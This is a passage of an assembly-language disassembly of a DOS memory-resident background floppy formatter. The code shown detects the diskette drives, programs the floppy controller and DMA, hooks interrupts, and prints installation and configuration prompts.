di,0EDh + call sub_33 + mov word ptr ds:[1ADh],bx + mov byte ptr ds:[1AFh],bl + jz loc_195 ; Jump if zero +loc_192: + cld ; Clear direction + or al,30h ; '0' + stosb ; Store al to es:[di] + mov word ptr ds:[1A5h],0 + mov word ptr ds:[1A7h],0 + push di + mov di,word ptr ds:[1B0h] + add di,word ptr ds:[1B2h] + call sub_34 + pop di + mov ax,word ptr ds:[1A7h] + sub word ptr ds:[1ABh],ax + jnc loc_193 ; Jump if carry=0 + dec word ptr ds:[1A9h] +loc_193: + mov ax,word ptr ds:[1A5h] + sub word ptr ds:[1A9h],ax + dec word ptr ds:[1ADh] + cmp word ptr ds:[1ADh],0 + je loc_195 ; Jump if equal + call sub_33 +loc_194: + cmp bx,word ptr ds:[1ADh] + je loc_192 ; Jump if equal + push ax + mov al,30h ; '0' + stosb ; Store al to es:[di] + pop ax + dec word ptr ds:[1ADh] + cmp word ptr ds:[1ADh],0 + jne loc_194 ; Jump if not equal +loc_195: + mov ax,word ptr ds:[1ABh] + or al,30h ; '0' + cld ; Clear direction + stosb ; Store al to es:[di] + mov al,0 + stosb ; Store al to es:[di] + retn +sub_32 endp + + +; +; SUBROUTINE +; + +sub_33 proc near + mov dx,word ptr ds:[1A9h] + mov ax,word ptr ds:[1ABh] + mov word ptr ds:[1B0h],0 + mov word ptr ds:[1B2h],0 + cmp dx,0 + jne loc_196 ; Jump if not equal + cmp ax,2710h + jb loc_197 ; Jump if below +loc_196: + mov bx,2710h + mov word ptr ds:[1B0h],8 + div bx ; ax,dx rem=dx:ax/reg +loc_197: + cmp ax,0Ah + jb loc_200 ; Jump if below + mov word ptr ds:[1B2h],6 + xor dx,dx ; Zero register + mov bx,offset 1C8h +loc_198: + cmp ax,[bx] + jge loc_199 ; Jump if > or = + sub word ptr ds:[1B2h],2 + sub bx,2 + jmp short loc_198 +loc_199: + mov bx,[bx] + div bx ; ax,dx rem=dx:ax/reg +loc_200: + mov bx,word ptr ds:[1B0h] + add bx,word ptr ds:[1B2h] + shr bx,1 ; Shift w/zeros fill + retn +sub_33 endp + + +; +; SUBROUTINE +; + +sub_34 proc near + and al,0Fh + cbw ; Convrt byte to word + push ax + mov bx,offset 1C2h + mov bx,[bx+di] + mul bx ; dx:ax = reg * ax + add word ptr ds:[1A7h],ax + jnc loc_201 ; Jump if carry=0 + inc dx +loc_201: + add word ptr ds:[1A5h],dx + mov bx,offset 1B4h + pop ax + mov bx,[bx+di] + mul bx ; dx:ax = reg * ax + add word ptr ds:[1A5h],ax + retn +sub_34 endp + + +; +; SUBROUTINE +; + +sub_35 proc near + lodsb ; String [si] to al + call sub_36 + stosw ; Store ax to es:[di] + lodsb ; String [si] to al + call sub_36 + stosw ; Store ax to es:[di] + retn +sub_35 endp + + +; +; SUBROUTINE +; + +sub_36 proc near + mov ah,al + and ah,0Fh + mov cl,4 + shr al,cl ; Shift w/zeros fill + and al,0Fh + cmp al,0Ah + jge loc_202 ; Jump if > or = + add al,30h ; '0' + jmp short loc_203 + db 90h +loc_202: + add al,37h ; '7' +loc_203: + cmp ah,0Ah + jge loc_204 ; Jump if > or = + add ah,30h ; '0' + jmp short loc_ret_205 + db 90h +loc_204: + add ah,37h ; '7' + +loc_ret_205: + retn +sub_36 endp + + +; +; SUBROUTINE +; + +sub_37 proc near + mov al,data_29 + mov bx,offset data_30 + cbw ; Convrt byte to word + add bx,ax + mov al,[bx] + mov data_31,ax + retn +sub_37 endp + + +; +; SUBROUTINE +; + +sub_38 proc near + mov ah,1 + mov cx,7 + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + mov ah,3 + mov bh,data_104 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + mov data_108,dh + mov data_109,dl + mov di,137h + mov data_101,0 +loc_206: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,0Dh + jne loc_207 ; Jump if not equal + retn +loc_207: + cmp al,1Bh + jne loc_208 ; Jump if not equal + pop ax + jmp loc_41 +loc_208: + cmp al,10h + je loc_209 ; Jump if equal + cmp ax,5300h + jne loc_210 ; Jump if not equal +loc_209: + call sub_41 + call sub_41 + jmp short loc_206 +loc_210: + cmp ax,4B00h + je loc_211 ; Jump if equal + cmp al,8 + jne loc_212 ; Jump if not equal +loc_211: + call sub_41 + jmp short loc_206 +loc_212: + cmp al,30h ; '0' + jb loc_213 ; Jump if below + cmp al,39h ; '9' + jg loc_213 ; Jump if > + cmp data_101,2 + je loc_213 ; Jump if equal + cld ; Clear direction + stosb ; Store al to es:[di] + inc data_101 + inc data_109 + call sub_10 + jmp short loc_206 +loc_213: + call sub_11 + jmp short loc_206 +sub_38 endp + + +; +; SUBROUTINE +; + +sub_39 proc near + mov si,offset data_33+6 ; (' ') +loc_214: + cmp al,0 + je loc_215 ; Jump if equal + add si,7 + dec al + jmp short loc_214 +loc_215: + mov di,offset data_189 +loc_216: + lodsb ; String [si] to al + cmp al,0 + jne loc_217 ; Jump if not equal + retn +loc_217: + stosb ; Store al to es:[di] +sub_39 endp + + +; +; SUBROUTINE +; + +sub_40 proc near + jmp short loc_216 +sub_40 endp + + +; +; SUBROUTINE +; + +sub_41 proc near + cmp data_101,0 + je loc_ret_218 ; Jump if equal + dec di + dec data_101 + dec data_109 + call sub_42 + mov al,20h ; ' ' + call sub_10 + call sub_42 + +loc_ret_218: + retn +sub_41 endp + + +; +; SUBROUTINE +; + +sub_42 proc near + mov ah,2 + mov bh,data_104 + mov dh,data_108 + mov dl,data_109 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + retn +sub_42 endp + + +; +; SUBROUTINE +; + +sub_43 proc near + push ds + mov ds,data_91 + mov si,data_4e + mov di,offset data_115 + mov cx,7 + cld ; Clear direction + repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di] + cmp cx,0 + je loc_219 ; Jump if equal + mov di,offset data_113 + mov si,data_4e + mov cx,6 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] +loc_219: + pop ds + call sub_44 + mov di,offset data_115 + mov si,data_92 + mov cx,6 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_43 endp + + +; +; SUBROUTINE +; + +sub_44 proc near + push es + mov si,data_92 + mov es,data_91 + mov di,data_4e + mov cx,6 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + pop es + retn +sub_44 endp + + +; +; SUBROUTINE +; + +sub_45 proc near + call sub_28 + jnc loc_220 ; Jump if carry=0 + retn +loc_220: + call sub_43 + retn +sub_45 endp + + +; +; SUBROUTINE +; + +sub_46 proc near + call sub_28 + jnc loc_221 ; Jump if carry=0 + clc ; Clear carry flag + retn +loc_221: + cmp data_187,6666h + je loc_222 ; Jump if equal + mov data_92,3CEh + mov ah,data_65 + call sub_47 + mov byte ptr data_184+26h,al ; ('') + mov byte ptr data_184+28h,ah ; ('') + call sub_43 + retn +loc_222: + cmp data_92,3AAh + jne loc_ret_223 ; Jump if not equal + mov data_92,0D5h + call sub_44 + +loc_ret_223: + retn +sub_46 endp + + +; +; SUBROUTINE +; + +sub_47 proc near + cmp ah,0Ah + jl loc_226 ; Jump if < + mov al,31h ; '1' +loc_224: + sub ah,0Ah + cmp ah,0Ah + jl loc_225 ; Jump if < + add al,1 + jmp short loc_224 +loc_225: + or ah,30h ; '0' + retn +loc_226: + or ah,30h ; '0' + mov al,20h ; ' ' + retn +sub_47 endp + + +; +; SUBROUTINE +; + +sub_48 proc near + cld ; Clear direction + mov di,offset 14Dh +loc_227: + mov al,data_65 + stosb ; Store al to es:[di] + mov al,data_64 + stosb ; Store al to es:[di] + mov al,data_66 + stosb ; Store al to es:[di] + mov al,2 + stosb ; Store al to es:[di] + inc data_66 + mov al,data_66 + cmp al,data_56 + jle loc_227 ; Jump if < or = + mov data_66,1 + retn +sub_48 endp + + +; +; SUBROUTINE +; + +sub_49 proc near + pop ax + mov word ptr ds:[221h],ax + mov data_82,21E2h + mov al,byte ptr ds:[21Ah] + mov data_66,al + mov data_68,28E9h + mov data_67,1FFh + mov data_69,4Ah ; 'J' + mov data_70,0C5h + mov data_85,27F1h + call sub_75 + mov data_82,220Dh + mov ax,word ptr ds:[242Ch] + mov cl,byte ptr ds:[21Ah] + add cl,al + cmp cl,data_56 + jle loc_228 ; Jump if < or = + inc data_64 + sub cl,data_56 +loc_228: + mov data_66,cl + call sub_75 + inc byte ptr ds:[21Ah] + jmp word ptr ds:[221h] + +; External Entry into Subroutine + +sub_50: + mov si,offset data_220 + mov cx,word ptr ds:[21Dh] + inc cx + sub cx,si + jbe loc_229 ; Jump if below or = + mov di,offset data_214 + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + xor al,al ; Zero register + mov cx,1Bh + mov di,offset data_220 + repne stosb ; Rep zf=0+cx >0 Store al to es:[di] +loc_229: + add word ptr ds:[21Fh],200h + mov word ptr ds:[21Dh],0 + retn +sub_49 endp + + +; +; SUBROUTINE +; + +sub_51 proc near + mov al,data_65 + dec al + cbw ; Convrt byte to word + mov bl,4 + div bl ; al, ah rem = ax/reg + mov cl,ah + cbw ; Convrt byte to word + mov di,ax + rol cl,1 ; Rotate + add cl,data_64 + mov al,80h + ror al,cl ; Rotate + or byte ptr ds:[139h][di],al + retn +sub_51 endp + + +; +; SUBROUTINE +; + +sub_52 proc near + mov data_65,0 + mov data_64,0 + mov data_66,1 + mov data_94,0 + mov data_63,0 + mov data_59,0F6h + retn +sub_52 endp + + +; +; SUBROUTINE +; + +sub_53 proc near + xor al,al ; Zero register + mov cx,200h + mov di,offset data_214 + cld ; Clear direction + repne stosb ; Rep zf=0+cx >0 Store al to es:[di] + retn +sub_53 endp + + mov di,data_100 + mov ax,0D1BAh + cld ; Clear direction + stosw ; Store ax to es:[di] + stosw ; Store ax to es:[di] + mov ax,data_54 + stosw ; Store ax to es:[di] + mov data_100,di + inc data_95 + inc data_99 + retn + +; +; SUBROUTINE +; + +sub_54 proc near + mov word ptr data_98,0 + mov si,offset 139h + cld ; Clear direction +loc_230: + lodsb ; String [si] to al + mov cl,4 +loc_231: + mov ah,al + and ah,3 + cmp ah,3 + je loc_232 ; Jump if equal + cmp ah,0 + je loc_233 ; Jump if equal + mov bl,data_56 + call sub_57 + jmp short loc_233 + db 90h +loc_232: + mov bl,data_56 + shl bl,1 ; Shift w/zeros fill + call sub_57 +loc_233: + dec cl + jz loc_234 ; Jump if zero + shr al,1 ; Shift w/zeros fill + shr al,1 ; Shift w/zeros fill + jmp short loc_231 +loc_234: + cmp si,14Dh + jl loc_230 ; Jump if < + retn +sub_54 endp + + +; +; SUBROUTINE +; + +sub_55 proc near + push cx + mov al,byte ptr ds:[2423h] + cbw ; Convrt byte to word + mov bx,ax + mov al,data_53 + cbw ; Convrt byte to word + add ax,word ptr ds:[223h] + xor dx,dx ; Zero register + div bx ; ax,dx rem=dx:ax/reg + call sub_59 + xor dx,dx ; Zero register + mov bx,2 + div bx ; ax,dx rem=dx:ax/reg + call sub_58 + mov bx,3 + mul bx ; dx:ax = reg * ax + add ax,3 + add ax,cx + pop cx + retn +sub_55 endp + + +; +; SUBROUTINE +; + +sub_56 proc near + mov ah,data_95 + inc ah + call sub_47 + mov data_190,ax + retn +sub_56 endp + + +; +; SUBROUTINE +; + +sub_57 proc near + xor bh,bh ; Zero register + cmp data_56,9 + jne loc_235 ; Jump if not equal + clc ; Clear carry flag + rcr bx,1 ; Rotate thru carry + adc bx,0 +loc_235: + add word ptr data_98,bx + retn +sub_57 endp + + +; +; SUBROUTINE +; + +sub_58 proc near + cmp dx,0 + je loc_236 ; Jump if equal + mov cx,1 + retn +loc_236: + mov cx,dx + retn +sub_58 endp + + +; +; SUBROUTINE +; + +sub_59 proc near + test al,1 + jz loc_237 ; Jump if zero + mov word ptr ds:[229h],2 + retn +loc_237: + mov word ptr ds:[229h],0 + retn +sub_59 endp + + +; +; SUBROUTINE +; + +sub_60 proc near + mov di,offset 139h + xor al,al ; Zero register + mov cx,14h + cld ; Clear direction + repne stosb ; Rep zf=0+cx >0 Store al to es:[di] + retn +sub_60 endp + + +; +; SUBROUTINE +; + +sub_61 proc near + mov si,data_31 + mov bx,offset data_41 + mov al,[bx+si] + mov byte ptr ds:[2423h],al + mov bx,offset data_47 + mov al,[bx+si] + mov byte ptr ds:[242Bh],al + mov bx,offset data_39 + mov al,[bx+si] + mov data_71,al + mov bx,offset data_43 + mov al,[bx+si] + mov data_55,al + mov bx,offset data_44 + mov al,[bx+si] + mov data_56,al + and ax,0FFh + mov word ptr ds:[242Eh],ax + mov bx,offset data_45 + mov al,[bx+si] + mov data_57,al + mov bx,offset data_46 + mov al,[bx+si] + mov data_58,al + mov bx,offset data_52 + mov al,[bx+si] + mov data_53,al + shl si,1 ; Shift w/zeros fill + mov bx,offset data_48 + mov ax,[bx+si] + mov word ptr ds:[2427h],ax + mov bx,offset data_40 + mov ax,[bx+si] + mov data_61,ax + mov bx,offset data_37 + mov ax,[bx+si] + mov word ptr data_60,ax + mov bx,69h + mov ax,[bx+si] + mov word ptr ds:[2429h],ax + mov bx,offset data_50 + mov ax,[bx+si] + mov word ptr ds:[242Ch],ax + mov bx,offset data_51 + mov ax,[bx+si] + mov data_54,ax + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; get date cx=year, dx=mon/day + mov word ptr ds:[243Fh],dx + cmp data_31,0 + jne loc_238 ; Jump if not equal + mov word ptr ds:[216h],143h + retn +loc_238: + mov word ptr ds:[216h],14Dh + retn +sub_61 endp + + jmp short loc_239 + nop + inc dx + inc si + dec di + push dx + dec bp + inc cx + push sp + and [bx+si],al + add al,[bx+si] + add [bx+si],ax + add al,[bx+si] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add al,[bx+si] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub [bx+si],ax + add [bx+si],al + add [bp+4Fh],cl + db ' NAME FAT12 ', 0Dh, 0Ah, ' ' + db 'Non-System Disk ...', 0Dh, 0Ah, ' ' + db 'Replace And Press Any Key When R' + db 'eady...', 0Dh, 0Ah, 0 +loc_239: + xor ax,ax ; Zero register + cli ; Disable interrupts + mov ss,ax + mov sp,7C00h + sti ; Enable interrupts + push cs + pop ds + mov si,data_234e + cld ; Clear direction +loc_240: + lodsb ; String [si] to al + test al,al + jz loc_241 ; Jump if zero + mov ah,0Eh + xor bx,bx ; Zero register + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_240 +loc_241: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + int 19h ; Bootstrap loader + db 347 dup (0) + db 55h,0AAh + +; +; SUBROUTINE +; + +sub_62 proc near + mov byte ptr ds:[22Fh],1 + mov ds,data_25 + mov al,0FFh + mov ds:dsk_motor_tmr_,al + mov al,ds:dsk_motor_stat_ + and al,0Fh + push cs + pop ds + cmp al,0 + je loc_242 ; Jump if equal + retn +loc_242: + mov cl,data_29 + mov al,10h + shl al,cl ; Shift w/zeros fill + mov ah,al + or al,cl + or al,0Ch + mov dx,3F2h + out dx,al ; port 3F2h, dsk0 contrl output + mov cl,4 + rol ah,cl ; Rotate + mov ds,data_25 + mov ds:dsk_motor_stat_,ah + push cs + pop ds + mov byte ptr ds:[22Dh],2 + call sub_7 + retn +sub_62 endp + + +; +; SUBROUTINE +; + +sub_63 proc near + pop ax + mov data_86,ax + call sub_62 + call sub_67 + jmp short loc_243 + db 90h + +; External Entry into Subroutine + +sub_64: + pop ax + mov data_86,ax + mov data_63,0 + call sub_62 + call sub_66 +loc_243: + call sub_79 + call sub_68 + jc loc_244 ; Jump if carry Set + jmp data_86 +loc_244: + clc ; Clear carry flag + jmp loc_123 +sub_63 endp + + +; +; SUBROUTINE +; + +sub_65 proc near + pop ax + mov data_88,ax + call sub_64 + test data_73,0C0h + jz loc_245 ; Jump if zero + call sub_64 + test data_73,0C0h + jz loc_245 ; Jump if zero + jmp loc_123 +loc_245: + mov al,data_65 + cmp data_31,0 + jne loc_246 ; Jump if not equal + shl al,1 ; Shift w/zeros fill +loc_246: + mov data_63,al + call sub_63 + jmp data_88 + +; External Entry into Subroutine + +sub_66: + mov ah,7 + call sub_71 + mov ah,data_29 + call sub_71 + retn +sub_65 endp + + +; +; SUBROUTINE +; + +sub_67 proc near + mov ah,0Fh + call sub_71 + mov ah,data_29 + call sub_71 + mov ah,data_63 + call sub_71 + retn +sub_67 endp + + +; +; SUBROUTINE +; + +sub_68 proc near + mov ah,8 + call sub_71 + call sub_70 + mov data_73,al + call sub_70 + mov data_72,al + retn +sub_68 endp + + +; +; SUBROUTINE +; + +sub_69 proc near + call sub_70 + mov data_73,al + call sub_70 + mov data_74,al + call sub_70 + mov data_75,al + call sub_70 + mov data_77,al + call sub_70 + mov data_78,al + call sub_70 + mov data_79,al + call sub_70 + mov data_80,al + retn +sub_69 endp + + +; +; SUBROUTINE +; + +sub_70 proc near + mov dx,3F4h + xor cx,cx ; Zero register + +locloop_247: + in al,dx ; port 3F4h, dsk0 cntrlr status + and al,0C0h + cmp al,0C0h + je loc_248 ; Jump if equal + loop locloop_247 ; Loop if cx > 0 + + pop ax + stc ; Set carry flag + retn +loc_248: + inc dx + in al,dx ; port 3F5h, dsk0 controlr data + clc ; Clear carry flag + retn +sub_70 endp + + +; +; SUBROUTINE +; + +sub_71 proc near + mov dx,3F4h + xor cx,cx ; Zero register + +locloop_249: + in al,dx ; port 3F4h, dsk0 cntrlr status + and al,0C0h + cmp al,80h + je loc_250 ; Jump if equal + loop locloop_249 ; Loop if cx > 0 + + pop ax + stc ; Set carry flag + retn +loc_250: + mov al,ah + inc dx + out dx,al ; port 3F5h, dsk0 controlr data + clc ; Clear carry flag + retn +sub_71 endp + + +; +; SUBROUTINE +; + +sub_72 proc near + mov dx,3F7h + mov al,data_71 + out dx,al ; port 3F7h ??I/O Non-standard + retn +sub_72 endp + + +; +; SUBROUTINE +; + +sub_73 proc near + mov al,2 + out 0Ch,al ; port 0Ch, DMA-1 clr byte ptr + jmp short $+2 ; delay for I/O + mov al,ah + out 0Bh,al ; port 0Bh, DMA-1 mode reg + mov bx,data_68 + push cs + pop ax + mov cl,4 + rol ax,cl ; Rotate + mov ch,al + and al,0F0h + add ax,bx + jnc loc_251 ; Jump if carry=0 + inc ch +loc_251: + out 4,al ; port 4, DMA-1 bas&add ch 2 + jmp short $+2 ; delay for I/O + mov al,ah + out 4,al ; port 4, DMA-1 bas&add ch 2 + jmp short $+2 ; delay for I/O + mov al,ch + and al,0Fh + out 81h,al ; port 81h, DMA page reg ch 2 + mov ax,data_67 + out 5,al ; port 5, DMA-1 bas&cnt ch 2 + jmp short $+2 ; delay for I/O + mov al,ah + out 5,al ; port 5, DMA-1 bas&cnt ch 2 + jmp short $+2 ; delay for I/O + mov al,2 + out 0Ah,al ; port 0Ah, DMA-1 mask reg bit + retn +sub_73 endp + + +; +; SUBROUTINE +; + +sub_74 proc near + pop ax + mov data_86,ax + mov data_68,28E9h + mov data_67,1FFh + mov data_69,46h ; 'F' + mov data_70,0E6h + call sub_62 + call sub_72 + mov ah,data_69 + call sub_73 + call sub_76 + jc loc_252 ; Jump if carry Set + call sub_79 + call sub_69 + jc loc_252 ; Jump if carry Set + jmp data_86 +loc_252: + clc ; Clear carry flag + call sub_7 + jmp loc_123 +sub_74 endp + + +; +; SUBROUTINE +; + +sub_75 proc near + pop ax + mov data_86,ax + call sub_62 + call sub_72 + mov ah,data_69 + call sub_73 + call data_85 + jc loc_253 ; Jump if carry Set + call sub_79 + call sub_69 + jc loc_253 ; Jump if carry Set + jmp data_86 +loc_253: + clc ; Clear carry flag + call sub_7 + jmp loc_123 +sub_75 endp + + +; +; SUBROUTINE +; + +sub_76 proc near + mov ah,data_70 + call sub_71 + mov ah,data_29 + cmp data_64,0 + je loc_254 ; Jump if equal + or ah,4 +loc_254: + call sub_71 + mov ah,data_65 + call sub_71 + mov ah,data_64 + call sub_71 + mov ah,data_66 + call sub_71 + mov ah,2 + call sub_71 + mov ah,data_56 + call sub_71 + mov ah,data_57 + call sub_71 + mov ah,0FFh + call sub_71 + retn +sub_76 endp + + mov ah,4Dh ; 'M' + call sub_71 + mov ah,data_29 + cmp data_64,0 + je loc_255 ; Jump if equal + or ah,4 +loc_255: + call sub_71 + mov ah,2 + call sub_71 + mov ah,data_56 + call sub_71 + mov ah,data_58 + call sub_71 + mov ah,data_59 + call sub_71 + retn + +; +; SUBROUTINE +; + +sub_77 proc near + mov ah,4 + call sub_71 + mov ah,data_29 + call sub_71 + call sub_70 + mov data_76,al + retn +sub_77 endp + + +; +; SUBROUTINE +; + +sub_78 proc near + pop ax + mov data_87,ax + call sub_48 + mov ax,data_61 + mov data_67,ax + mov data_68,14Dh + mov data_69,4Ah ; 'J' + mov data_85,2837h + call sub_75 + test data_73,0C0h + jnz loc_256 ; Jump if not zero + jmp data_87 +loc_256: + test data_74,2 + jz loc_257 ; Jump if zero + jmp loc_86 +loc_257: + cmp data_94,2 + jne loc_258 ; Jump if not equal + mov data_94,0 + jmp loc_93 +loc_258: + inc data_94 + call sub_65 + test data_73,0C0h + jnz loc_259 ; Jump if not zero + jmp data_82 +loc_259: + jmp loc_123 +sub_78 endp + + +; +; SUBROUTINE +; + +sub_79 proc near + mov cx,18h + +locloop_260: + call sub_7 + cmp byte ptr ds:[22Fh],0 + jne loc_261 ; Jump if not equal + retn +loc_261: + loop locloop_260 ; Loop if cx > 0 + + pop ax + jmp loc_123 +sub_79 endp + +data_214 db 0 +data_215 dw 0 + db 8 dup (0) +data_217 dw 0 + db 26 dup (0) +data_218 dw 0 +data_219 dw 0 + db 469 dup (0) +data_220 db 0 + db 154 dup (0) +data_221 db 0Dh, 0Ah, ' Mem Resident Format A' + db 'lready Installed', 0Dh, 0Ah, 'Al' + db 't + Left Shift + Right Shift Wil' + db 'l Activate', 0Dh, 0Ah, '$' +data_222 db 0Dh, 0Ah, 'Background Formatter I' + db 's Installed', 0Dh, 0Ah, 'Alt + L' + db 'eft Shift + Right Shift Will Act' + db 'ivate', 0Dh, 0Ah, '$' +data_223 db 0Dh, 0Ah, 'No Diskette Drive Conn' + db 'ect', 0Dh, 0Ah, 'Program Termina' + db 'ted !', 0Dh, 0Ah, '$' + db 'There Are ' +data_224 db 0 + db ' Diskette Drives Connected' + db 0 +data_225 db 0 + db 20h,0C4h + db 14 dup (0C4h) +data_227 db ' ', 0 + db 'Is This Configuration Correct ? ' + db '[Y]', 0 + db 'How Many Diskette Drives ( Not I' + db 'nclude Fixed Disk ) ?', 0 + db 'DRIVE ', 0 + db ' ( 0 - 360K, 1 - 1.2M, 2 - 720K,' + db ' 3 - 1.44M ) ?', 0 +loc_262: + push cs + pop ds + push cs + pop es + call sub_86 + mov word ptr ds:[1E2h],cs + mov word ptr ds:[1E4h],cs + mov word ptr ds:[1DAh],cs + mov word ptr ds:[1E0h],cs + mov word ptr data_24,0EBFEh + cli ; Disable interrupts + mov word ptr ds:[1E6h],ss + mov word ptr ds:[1E8h],sp + push cs + pop ss + mov sp,2B84h + mov ax,202h + push ax + push cs + mov ax,data_81 + push ax + mov word ptr ds:[1DCh],sp + mov ss,word ptr ds:[1E6h] + mov sp,word ptr ds:[1E8h] + sti ; Enable interrupts + call sub_80 + call sub_23 + call sub_88 + call sub_24 + mov al,0Eh + mov si,19Dh + mov dx,12CCh + call sub_87 + mov al,13h + mov si,1A1h + mov dx,12E6h + call sub_87 + mov al,9 + mov si,199h + mov dx,127Ah + call sub_87 + mov al,8 + mov si,195h + mov dx,11E0h + call sub_87 + mov dx,offset data_222 ; ('') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov al,0 + mov dx,2B84h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,11h + mov ah,31h ; '1' + int 21h ; DOS Services ah=function 31h + ; terminate & stay resident + ; al=return code,dx=paragraphs + +; +; SUBROUTINE +; + +sub_80 proc near + push es + mov es,cs:data_25 + mov dx,es:video_port_ + add dx,6 + mov cs:data_90,dx + pop es + int 11h ; Put equipment bits in ax + mov bh,al + and bh,30h ; '0' + mov data_91,0B800h + cmp bh,30h ; '0' + jne loc_263 ; Jump if not equal + mov data_91,0B000h +loc_263: + mov bh,al + and bh,1 + and ax,0C0h + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + add ah,bh + cmp ah,0 + jne loc_264 ; Jump if not equal + mov dx,offset data_223 ; ('') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp loc_277 +loc_264: + mov al,ah + cmp al,3 + jl loc_265 ; Jump if < + mov al,2 +loc_265: + mov data_28,al + or al,30h ; '0' + mov data_224,al + call sub_81 + retn + +; External Entry into Subroutine + +sub_81: + push ax + push es + push di + mov bx,0Dh + mov dx,0 +loc_266: + mov si,dx + push ax + push bx + push dx + mov ah,8 + int 13h ; Disk dl=drive a ah=func 08h + ; get drive parameters, bl=type + ; cx=cylinders, dh=max heads + ; es:di= ptr to drive table + jc loc_267 ; Jump if carry Set + mov al,bl + dec al + pop dx + pop bx + mov [bx+si],al + pop ax + dec ah + jz loc_268 ; Jump if zero + inc dx + jmp short loc_266 +loc_267: + add sp,6 +loc_268: + pop di + pop es + pop ax + retn + +; External Entry into Subroutine + +sub_82: + mov al,41h ; 'A' + mov dx,0C1Dh + mov di,0 + call sub_85 + retn + +; External Entry into Subroutine + +sub_83: + call sub_82 + call sub_84 + retn + +; External Entry into Subroutine + +sub_84: + mov al,42h ; 'B' + mov dx,0E1Dh + mov di,1 + call sub_85 + retn + +; External Entry into Subroutine + +sub_85: + mov data_225,al + mov si,2C8Bh + call sub_14 + mov al,[di+0Dh] + nop ;*ASM fixup - displacement + cbw ; Convrt byte to word + add ax,ax + mov si,ax + mov bx,offset data_32 + mov si,[bx+si] + call sub_15 + retn + +; External Entry into Subroutine + +sub_86: + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + ;* undocumented function + mov data_231,bx + mov ax,300Eh + mov data_232,ax + xor ax,ax ; Zero register +loc_269: + mov ds,ax + xor si,si ; Zero register + cld ; Clear direction + lodsb ; String [si] to al + cmp al,4Dh ; 'M' + je loc_271 ; Jump if equal +loc_270: + push ds + pop ax + inc ax + jmp short loc_269 +loc_271: + push ds + mov si,data_3e + lodsw ; String [si] to ax + pop bx + add bx,ax + inc bx + jc loc_270 ; Jump if carry Set + cmp cs:data_231,bx + jb loc_270 ; Jump if below + push ds + mov ds,bx + cmp byte ptr ds:data_17e,4Dh ; 'M' + nop ;*ASM fixup - sign extn byte + je loc_272 ; Jump if equal + pop ds + jmp short loc_270 +loc_272: + mov di,cs:data_232 + push cs + pop es + mov bx,ds + pop ds + mov ax,ds + stosw ; Store ax to es:[di] + mov ax,bx + stosw ; Store ax to es:[di] + mov ds,bx +loc_273: + push ds + mov si,data_3e + lodsw ; String [si] to ax + pop bx + add bx,ax + inc bx + mov ax,bx + stosw ; Store ax to es:[di] + mov ds,bx + xor si,si ; Zero register + lodsb ; String [si] to al + cmp al,5Ah ; 'Z' + jne loc_273 ; Jump if not equal + xor ax,ax ; Zero register + stosw ; Store ax to es:[di] + push cs + pop ds + mov si,di + sub si,6 + lodsw ; String [si] to ax + mov data_26,ax + lodsw ; String [si] to ax + mov data_27,ax + mov si,offset data_233 +loc_274: + mov ax,[si] + cmp ax,0 + je loc_275 ; Jump if equal + mov es,ax + mov ax,es:data_2e + add ax,10h + mov es,ax + mov di,data_18e + cmp word ptr es:[di],0EBFEh + je loc_276 ; Jump if equal + add si,2 + jmp short loc_274 +loc_275: + push cs + pop es + retn +loc_276: + mov dx,offset data_221 ; ('') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_277: + call sub_11 + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +sub_80 endp + + +; +; SUBROUTINE +; + +sub_87 proc near + push es + push ax + push si + push dx + mov ah,35h ; '5' + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + pop dx + pop si + pop ax + mov [si],bx + mov [si+2],es + mov ah,25h ; '%' + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + retn +sub_87 endp + + +; +; SUBROUTINE +; + +sub_88 proc near +loc_278: + call sub_19 + mov dh,8 + mov dl,17h + mov si,2C65h + call sub_14 + mov al,data_28 + cbw ; Convrt byte to word + dec al + mov di,ax + add di,di + mov bx,offset data_229 + call word ptr [bx+di] ;* + mov dh,12h + mov dl,18h + mov si,2C9Eh + call sub_14 + call sub_13 +loc_279: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,0Dh + je loc_ret_282 ; Jump if equal + cmp al,1Bh + jne loc_280 ; Jump if not equal + jmp short loc_ret_282 + db 90h +loc_280: + and al,0DFh + cmp al,59h ; 'Y' + je loc_ret_282 ; Jump if equal + cmp al,4Eh ; 'N' + je loc_281 ; Jump if equal + call sub_11 + jmp short loc_279 +loc_281: + call sub_89 + +loc_ret_282: + retn +sub_88 endp + + +; +; SUBROUTINE +; + +sub_89 proc near + call sub_19 + mov dh,12h + mov dl,0Eh + mov si,2CC2h + call sub_14 + call sub_13 +loc_283: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,31h ; '1' + jge loc_285 ; Jump if > or = +loc_284: + call sub_11 + jmp short loc_283 +loc_285: + cmp al,32h ; '2' + jg loc_284 ; Jump if > + mov data_224,al + and al,0Fh + mov data_28,al + cbw ; Convrt byte to word + push ax + mov dh,8 + mov dl,17h + mov 